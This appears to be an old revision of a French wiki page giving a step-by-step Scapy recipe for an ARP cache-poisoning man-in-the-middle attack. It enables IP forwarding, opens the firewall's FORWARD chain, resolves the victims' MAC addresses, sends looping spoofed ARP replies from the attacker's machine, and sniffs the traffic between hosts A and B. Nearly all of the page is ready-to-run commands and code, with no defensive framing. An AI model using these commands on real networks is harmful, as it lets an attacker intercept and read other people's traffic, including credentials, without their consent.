python:scapy:network_spoofing

Ceci est une ancienne révision du document !


Spoofer le réseau avec Scapy

Récupérer le trafic entre les machines A et B:

  1. Activer le routage des paquets:
    sudo sysctl net/ipv4/ip_forward=1

    et désactiver les redirections de politesse:

    sudo sysctl net/ipv4/conf/all/send_redirects=0
  2. Adapter le parefeu (pas de règles bizarres), notamment autoriser le forwarding:
    sudo iptables -P FORWARD ACCEPT
  3. Récupérer les adresses MAC des adresses IP A et B:
    srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="<ip A>",psrc="<ip pirate>"))
    srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="<ip B>",psrc="<ip pirate>"))

    L'adresse MAC se trouve dans le champ src de la trame Ethernet.

  4. Cache-poisoning des tables ARP de A et B:
    sendp(Ether(src="<mac pirate>",dst="<mac B>")/ARP(op="who-has",psrc="<ip A>",pdst="<ip B>"), inter=1, loop=1)
    sendp(Ether(src="<mac pirate>",dst="<mac A>")/ARP(op="who-has",psrc="<ip B>",pdst="<ip A>"), inter=1, loop=1)

    Si on met inter=RandNum(10, 40) , l'intervalle de temps varie entre 10 et 40 secondes (pas obligatoire), loop=1 lance l'exécution en boucle.

  5. Sniffer le réseau:
    pkts = sniff(filter="host <ipA> or host <ipB>", prn=lambda p: p.summary)

Astuce: pour éviter de lancer deux instances de Scapy pour corrompre les tables:

pkts = [Ether(src="<mac pirate>",dst="<mac B>")/ARP(op="who-has",psrc="<ip A>",pdst="<ip B>"), Ether(src="<mac pirate>",dst="<mac A>")/ARP(op="who-has",psrc="<ip B>",pdst="<ip A>")]
srploop(pkts, inter=1, store=False)

store=False permet d'éviter de stocker en mémoire les paquets, pour préserver la RAM.

  • python/scapy/network_spoofing.1617548516.txt.gz
  • Dernière modification : 2021/04/04 17:01
  • de 127.0.0.1